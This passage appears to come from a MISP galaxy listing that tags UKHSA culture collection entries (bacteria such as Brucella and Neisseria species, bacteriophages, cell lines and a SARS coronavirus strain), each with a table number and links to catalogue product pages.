https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-27
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-28
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-38
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-4
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-5
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-6

Enterobacter aerogenes

The tag is: *misp-galaxy:ukhsa-culture-collections="Enterobacter aerogenes"*

Table 25869. Table References

Links
https://www.culturecollections.org.uk/nop/product/enterobacter-aerogenes
https://www.culturecollections.org.uk/nop/product/enterobacter-aerogenes-5
https://www.culturecollections.org.uk/nop/product/enterobacter-aerogenes-6
https://www.culturecollections.org.uk/nop/product/enterobacter-aerogenes-4
https://www.culturecollections.org.uk/nop/product/enterobacter-aerogenes-2
https://www.culturecollections.org.uk/nop/product/enterobacter-aerogenes-3

Citrobacter gillenii

The tag is: *misp-galaxy:ukhsa-culture-collections="Citrobacter gillenii"*

Table 25870. Table References

Links
https://www.culturecollections.org.uk/nop/product/citrobacter-gillenii

Campylobacter jejuni subsp. jejuni

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter jejuni subsp. jejuni"*

Table 25871. Table References

Links
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-subsp-jejuni-2
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-subsp-jejuni-3
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-subsp-jejuni-4
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-subsp-jejuni-6
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-subsp-jejuni-7
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-subsp-jejuni-19
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-subsp-jejuni-10
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-subsp-jejuni-16
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-subsp-jejuni
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-subsp-jejuni-8
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-subsp-jejuni-9
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-subsp-jejuni-14
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-subsp-jejuni-20
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-subsp-jejuni-5
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-subsp-jejuni-12
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-subsp-jejuni-17
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-subsp-jejuni-18
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-subsp-jejuni-22
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-subsp-jejuni-23
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-subsp-jejuni-13
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-subsp-jejuni-15
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-subsp-jejuni-21
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-subsp-jejuni-24
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-subsp-jejuni-11

Campylobacter hominis

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter hominis"*

Table 25872. Table References

Links

https://www.culturecollections.org.uk/nop/product/campylobacter-hominis

Bacteroides vulgatus

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacteroides vulgatus"*

Table 25873. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacteroides-vulgatus-2
https://www.culturecollections.org.uk/nop/product/bacteroides-vulgatus

Salmonella enterica subsp. enterica serotype Paratyphi A

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Paratyphi A"*

Table 25874. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-paratyphi-a
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-paratyphi-a-10
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-paratyphi-a-12
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-paratyphi-a-11
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-paratyphi-a-9
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-paratyphi-a-8
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-paratyphi-a-7
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-paratyphi-a-6
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-paratyphi-a-3
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-paratyphi-a-5

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-paratyphi-a-4
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-paratyphi-a-2

SG01

The tag is: *misp-galaxy:ukhsa-culture-collections="SG01"*

Table 25875. Table References

Links
https://www.culturecollections.org.uk/nop/product/sg01-3

Salmonella enterica subsp. enterica serotype Poona

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Poona"*

Table 25876. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-poona-3
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-poona-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-poona

Salmonella enterica subsp. enterica

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica"*

Table 25877. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-7
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-3
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-4

Erysipelothrix rhusiopathiae

The tag is: *misp-galaxy:ukhsa-culture-collections="Erysipelothrix rhusiopathiae"*

Table 25878. Table References

Links
https://www.culturecollections.org.uk/nop/product/erysipelothrix-rhusiopathiae-14
https://www.culturecollections.org.uk/nop/product/erysipelothrix-rhusiopathiae-7
https://www.culturecollections.org.uk/nop/product/erysipelothrix-rhusiopathiae-9
https://www.culturecollections.org.uk/nop/product/erysipelothrix-rhusiopathiae-11
https://www.culturecollections.org.uk/nop/product/erysipelothrix-rhusiopathiae
https://www.culturecollections.org.uk/nop/product/erysipelothrix-rhusiopathiae-5
https://www.culturecollections.org.uk/nop/product/erysipelothrix-rhusiopathiae-10
https://www.culturecollections.org.uk/nop/product/erysipelothrix-rhusiopathiae-12
https://www.culturecollections.org.uk/nop/product/erysipelothrix-rhusiopathiae-6
https://www.culturecollections.org.uk/nop/product/erysipelothrix-rhusiopathiae-8
https://www.culturecollections.org.uk/nop/product/erysipelothrix-rhusiopathiae-2
https://www.culturecollections.org.uk/nop/product/erysipelothrix-rhusiopathiae-3
https://www.culturecollections.org.uk/nop/product/erysipelothrix-rhusiopathiae-13
https://www.culturecollections.org.uk/nop/product/erysipelothrix-rhusiopathiae-4

Salmonella enterica subsp. enterica serotype anatum

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype anatum"*

Table 25879. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-anatum-4

Salmonella enterica subsp. enterica serotype thompson

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype thompson"*

Table 25880. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-thompson-8

Clostridium gallinarum

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium gallinarum"*

Table 25881. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-gallinarum

Oerskovia rustica

The tag is: *misp-galaxy:ukhsa-culture-collections="Oerskovia rustica"*

Table 25882. Table References

Links
https://www.culturecollections.org.uk/nop/product/oerskovia-rustica

Terrisporobacter hibernicus

The tag is: *misp-galaxy:ukhsa-culture-collections="Terrisporobacter hibernicus"*

Table 25883. Table References

Links
https://www.culturecollections.org.uk/nop/product/terrisporobacter-hibernicus

Staphylococcus canis

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus canis"*

Table 25884. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-canis

Vx2

The tag is: *misp-galaxy:ukhsa-culture-collections="Vx2"*

Table 25885. Table References

Links
https://www.culturecollections.org.uk/nop/product/vx2-2

1.1B4

The tag is: *misp-galaxy:ukhsa-culture-collections="1.1B4"*

Table 25886. Table References

Links
https://www.culturecollections.org.uk/nop/product/11b4-2

Staphylococcus aureus bacteriophage

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus aureus bacteriophage"*

Table 25887. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-4
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-57
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-56
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-55
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-52
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-47
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-44
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-24
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-13
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-19
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-33
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-59
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-53
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-51
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-50
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-49
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-48
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-46
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-45
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-43
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-42
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-41

https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-40
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-39
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-38
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-37
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-36
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-35
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-34
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-32
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-31
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-29
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-28
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-27
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-26
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-25
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-23
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-22
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-21
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-20
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-18
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-17
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-16
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-14
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-12
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-11
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-9
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-6
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-5
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-3
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-bacteriophage-2

Mycoplasma mycoides subsp. mycoides

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma mycoides subsp. mycoides"*

Table 25888. Table References

Links

https://www.culturecollections.org.uk/nop/product/mycoplasma-mycoides-subsp-mycoides-2
https://www.culturecollections.org.uk/nop/product/mycoplasma-mycoides-subsp-mycoides

Mycoplasma mycoides

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma mycoides"*

Table 25889. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-mycoides

Mycoplasma capricolum subsp. capripneumoniae

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma capricolum subsp. capripneumoniae"*

Table 25890. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-capricolum-subsp-capripneumoniae

Mycoplasma capricolum subsp. capricolum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma capricolum subsp. capricolum"*

Table 25891. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-capricolum-subsp-capricolum

Vero76

The tag is: *misp-galaxy:ukhsa-culture-collections="Vero76"*

Table 25892. Table References

Links
https://www.culturecollections.org.uk/nop/product/vero76

Brucella suis

The tag is: *misp-galaxy:ukhsa-culture-collections="Brucella suis"*

Table 25893. Table References

Links

https://www.culturecollections.org.uk/nop/product/brucella-suis-12
https://www.culturecollections.org.uk/nop/product/brucella-suis-13
https://www.culturecollections.org.uk/nop/product/brucella-suis-2
https://www.culturecollections.org.uk/nop/product/brucella-suis-6
https://www.culturecollections.org.uk/nop/product/brucella-suis-3
https://www.culturecollections.org.uk/nop/product/brucella-suis-7
https://www.culturecollections.org.uk/nop/product/brucella-suis-16
https://www.culturecollections.org.uk/nop/product/brucella-suis-5
https://www.culturecollections.org.uk/nop/product/brucella-suis-4
https://www.culturecollections.org.uk/nop/product/brucella-suis-9
https://www.culturecollections.org.uk/nop/product/brucella-suis-10
https://www.culturecollections.org.uk/nop/product/brucella-suis-8
https://www.culturecollections.org.uk/nop/product/brucella-suis-11

Brucella ovis

The tag is: *misp-galaxy:ukhsa-culture-collections="Brucella ovis"*

Table 25894. Table References

Links
https://www.culturecollections.org.uk/nop/product/brucella-ovis
https://www.culturecollections.org.uk/nop/product/brucella-ovis-2

Brucella melitensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Brucella melitensis"*

Table 25895. Table References

Links
https://www.culturecollections.org.uk/nop/product/brucella-melitensis-60
https://www.culturecollections.org.uk/nop/product/brucella-melitensis-61
https://www.culturecollections.org.uk/nop/product/brucella-melitensis-63
https://www.culturecollections.org.uk/nop/product/brucella-melitensis-27
https://www.culturecollections.org.uk/nop/product/brucella-melitensis-55
https://www.culturecollections.org.uk/nop/product/brucella-melitensis-20
https://www.culturecollections.org.uk/nop/product/brucella-melitensis-56
https://www.culturecollections.org.uk/nop/product/brucella-melitensis-57

https://www.culturecollections.org.uk/nop/product/brucella-melitensis-58
https://www.culturecollections.org.uk/nop/product/brucella-melitensis-59

Brucella abortus

The tag is: *misp-galaxy:ukhsa-culture-collections="Brucella abortus"*

Table 25896. Table References

Links
https://www.culturecollections.org.uk/nop/product/brucella-abortus-15
https://www.culturecollections.org.uk/nop/product/brucella-abortus-2
https://www.culturecollections.org.uk/nop/product/brucella-abortus-16
https://www.culturecollections.org.uk/nop/product/brucella-abortus-17
https://www.culturecollections.org.uk/nop/product/brucella-abortus-18
https://www.culturecollections.org.uk/nop/product/brucella-abortus-19
https://www.culturecollections.org.uk/nop/product/brucella-abortus-20
https://www.culturecollections.org.uk/nop/product/brucella-abortus-5
https://www.culturecollections.org.uk/nop/product/brucella-abortus-21
https://www.culturecollections.org.uk/nop/product/brucella-abortus-6
https://www.culturecollections.org.uk/nop/product/brucella-abortus-22
https://www.culturecollections.org.uk/nop/product/brucella-abortus
https://www.culturecollections.org.uk/nop/product/brucella-abortus-8
https://www.culturecollections.org.uk/nop/product/brucella-abortus-3
https://www.culturecollections.org.uk/nop/product/brucella-abortus-9
https://www.culturecollections.org.uk/nop/product/brucella-abortus-10
https://www.culturecollections.org.uk/nop/product/brucella-abortus-4
https://www.culturecollections.org.uk/nop/product/brucella-abortus-11
https://www.culturecollections.org.uk/nop/product/brucella-abortus-13
https://www.culturecollections.org.uk/nop/product/brucella-abortus-23
https://www.culturecollections.org.uk/nop/product/brucella-abortus-7
https://www.culturecollections.org.uk/nop/product/brucella-abortus-14
https://www.culturecollections.org.uk/nop/product/brucella-abortus-12

Bacillus anthracis

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacillus anthracis"*

Table 25897. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacillus-anthracis-8
https://www.culturecollections.org.uk/nop/product/bacillus-anthracis-6
https://www.culturecollections.org.uk/nop/product/bacillus-anthracis-5
https://www.culturecollections.org.uk/nop/product/bacillus-anthracis-4
https://www.culturecollections.org.uk/nop/product/bacillus-anthracis-3
https://www.culturecollections.org.uk/nop/product/bacillus-anthracis-2
https://www.culturecollections.org.uk/nop/product/bacillus-anthracis

Neisseria animaloris

The tag is: *misp-galaxy:ukhsa-culture-collections="Neisseria animaloris"*

Table 25898. Table References

Links
https://www.culturecollections.org.uk/nop/product/neisseria-animaloris-4
https://www.culturecollections.org.uk/nop/product/neisseria-animaloris-5
https://www.culturecollections.org.uk/nop/product/neisseria-animaloris-6
https://www.culturecollections.org.uk/nop/product/neisseria-animaloris-7
https://www.culturecollections.org.uk/nop/product/neisseria-animaloris-2
https://www.culturecollections.org.uk/nop/product/neisseria-animaloris
https://www.culturecollections.org.uk/nop/product/neisseria-animaloris-3

Ureaplasma loridis

The tag is: *misp-galaxy:ukhsa-culture-collections="Ureaplasma loridis"*

Table 25899. Table References

Links
https://www.culturecollections.org.uk/nop/product/ureaplasma-loridis

Aggregatibacter aphrophilus

The tag is: *misp-galaxy:ukhsa-culture-collections="Aggregatibacter aphrophilus"*

Table 25900. Table References

Links
https://www.culturecollections.org.uk/nop/product/aggregatibacter-aphrophilus-9

https://www.culturecollections.org.uk/nop/product/aggregatibacter-aphrophilus-3
https://www.culturecollections.org.uk/nop/product/aggregatibacter-aphrophilus-5
https://www.culturecollections.org.uk/nop/product/aggregatibacter-aphrophilus-8
https://www.culturecollections.org.uk/nop/product/aggregatibacter-aphrophilus-7
https://www.culturecollections.org.uk/nop/product/aggregatibacter-aphrophilus-6
https://www.culturecollections.org.uk/nop/product/aggregatibacter-aphrophilus-4
https://www.culturecollections.org.uk/nop/product/aggregatibacter-aphrophilus
https://www.culturecollections.org.uk/nop/product/aggregatibacter-aphrophilus-2

Neisseria meningitidis

The tag is: *misp-galaxy:ukhsa-culture-collections="Neisseria meningitidis"*

Table 25901. Table References

Links
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-13
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-14
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-19
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-20
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-21
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-23
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-24
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-4
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-45
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-37
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-44
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-43
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-42
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-41
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-40
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-39
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-38
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-65
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-6
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-58
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-7

https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-53
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-25
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-12
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-18
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-2
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-46
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-34
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-35
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-27
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-29
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-5
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-15
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-56
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-59
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-26
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-28
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-30
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-33
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-8
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-9
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-10
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-16
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-17
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-51
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-54
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-57
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-60
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-62
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-64
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-32
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-36
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-11
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-47

https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-48
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-61
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-63
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-3
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-31
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-49
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-50
https://www.culturecollections.org.uk/nop/product/neisseria-meningitidis-55

Citrobacter freundii

The tag is: *misp-galaxy:ukhsa-culture-collections="Citrobacter freundii"*

Table 25902. Table References

Links
https://www.culturecollections.org.uk/nop/product/citrobacter-freundii-11
https://www.culturecollections.org.uk/nop/product/citrobacter-freundii-10
https://www.culturecollections.org.uk/nop/product/citrobacter-freundii-12
https://www.culturecollections.org.uk/nop/product/citrobacter-freundii-3
https://www.culturecollections.org.uk/nop/product/citrobacter-freundii-6
https://www.culturecollections.org.uk/nop/product/citrobacter-freundii-9
https://www.culturecollections.org.uk/nop/product/citrobacter-freundii-2
https://www.culturecollections.org.uk/nop/product/citrobacter-freundii
https://www.culturecollections.org.uk/nop/product/citrobacter-freundii-4
https://www.culturecollections.org.uk/nop/product/citrobacter-freundii-8
https://www.culturecollections.org.uk/nop/product/citrobacter-freundii-5
https://www.culturecollections.org.uk/nop/product/citrobacter-freundii-7

Brevundimonas vancanneytii

The tag is: *misp-galaxy:ukhsa-culture-collections="Brevundimonas vancanneytii"*

Table 25903. Table References

Links
https://www.culturecollections.org.uk/nop/product/brevundimonas-vancanneytii

Sphingobacterium lactis

The tag is: *misp-galaxy:ukhsa-culture-collections="Sphingobacterium lactis"*

Table 25904. Table References

Links
https://www.culturecollections.org.uk/nop/product/sphingobacterium-lactis-2

Clostridium butyricum

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium butyricum"*

Table 25905. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-butyricum-4
https://www.culturecollections.org.uk/nop/product/clostridium-butyricum-3
https://www.culturecollections.org.uk/nop/product/clostridium-butyricum-2
https://www.culturecollections.org.uk/nop/product/clostridium-butyricum

Avibacterium paragallinarum

The tag is: *misp-galaxy:ukhsa-culture-collections="Avibacterium paragallinarum"*

Table 25906. Table References

Links
https://www.culturecollections.org.uk/nop/product/avibacterium-paragallinarum-2
https://www.culturecollections.org.uk/nop/product/avibacterium-paragallinarum

Odoribacter splanchnicus

The tag is: *misp-galaxy:ukhsa-culture-collections="Odoribacter splanchnicus"*

Table 25907. Table References

Links
https://www.culturecollections.org.uk/nop/product/odoribacter-splanchnicus-2
https://www.culturecollections.org.uk/nop/product/odoribacter-splanchnicus

Streptococcus mitis

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus mitis"*

Table 25908. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-mitis-4
https://www.culturecollections.org.uk/nop/product/streptococcus-mitis-2
https://www.culturecollections.org.uk/nop/product/streptococcus-mitis-3
https://www.culturecollections.org.uk/nop/product/streptococcus-mitis

Lactococcus garvieae

The tag is: *misp-galaxy:ukhsa-culture-collections="Lactococcus garvieae"*

Table 25909. Table References

Links
https://www.culturecollections.org.uk/nop/product/lactococcus-garvieae

Arcanobacterium hippocoleae

The tag is: *misp-galaxy:ukhsa-culture-collections="Arcanobacterium hippocoleae"*

Table 25910. Table References

Links
https://www.culturecollections.org.uk/nop/product/arcanobacterium-hippocoleae

Cutibacterium acnes

The tag is: *misp-galaxy:ukhsa-culture-collections="Cutibacterium acnes"*

Table 25911. Table References

Links
https://www.culturecollections.org.uk/nop/product/cutibacterium-acnes

Neisseria oralis

The tag is: *misp-galaxy:ukhsa-culture-collections="Neisseria oralis"*

Table 25912. Table References

Links
https://www.culturecollections.org.uk/nop/product/neisseria-oralis-2
https://www.culturecollections.org.uk/nop/product/neisseria-oralis

EDP-1

The tag is: *misp-galaxy:ukhsa-culture-collections="EDP-1"*

Table 25913. Table References

Links
https://www.culturecollections.org.uk/nop/product/edp-1

ULK2 KO MEF (SIM)

The tag is: *misp-galaxy:ukhsa-culture-collections="ULK2 KO MEF (SIM)"*

Table 25914. Table References

Links
https://www.culturecollections.org.uk/nop/product/ulk2-ko-mef-sim

ULK1/2 WT MEF (SIM)

The tag is: *misp-galaxy:ukhsa-culture-collections="ULK1/2 WT MEF (SIM)"*

Table 25915. Table References

Links
https://www.culturecollections.org.uk/nop/product/ulk12-wt-mef-sim

MEF ULK1 ULK2 DKO (SIM)

The tag is: *misp-galaxy:ukhsa-culture-collections="MEF ULK1 ULK2 DKO (SIM)"*

Table 25916. Table References

Links
https://www.culturecollections.org.uk/nop/product/mef-ulk1-ulk2-dko-sim

ULK1 KO MEF (SV40)

The tag is: *misp-galaxy:ukhsa-culture-collections="ULK1 KO MEF (SV40)"*

Table 25917. Table References

Links
https://www.culturecollections.org.uk/nop/product/ulk1-ko-mef-sv40

ULK1 KO MEF (SIM)

The tag is: *misp-galaxy:ukhsa-culture-collections="ULK1 KO MEF (SIM)"*

Table 25918. Table References

Links
https://www.culturecollections.org.uk/nop/product/ulk1-ko-mef-sim

ULK2 KO MEF (SV40)

The tag is: *misp-galaxy:ukhsa-culture-collections="ULK2 KO MEF (SV40)"*

Table 25919. Table References

Links
https://www.culturecollections.org.uk/nop/product/ulk2-ko-mef-sv40

MEF ULK1 ULK2 DKO (SV40)

The tag is: *misp-galaxy:ukhsa-culture-collections="MEF ULK1 ULK2 DKO (SV40)"*

Table 25920. Table References

Links
https://www.culturecollections.org.uk/nop/product/mef-ulk1-ulk2-dko-sv40

SARS coronavirus (HKU-39849)

The tag is: *misp-galaxy:ukhsa-culture-collections="SARS coronavirus (HKU-39849)"*

Table 25921. Table References

Links
https://www.culturecollections.org.uk/nop/product/sars-coronavirus-hku-39849

HPSI0115i-payf_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-payf_1"*

Table 25922. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-payf_1

HPSI0816i-daah_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0816i-daah_6"*

Table 25923. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0816i-daah_6

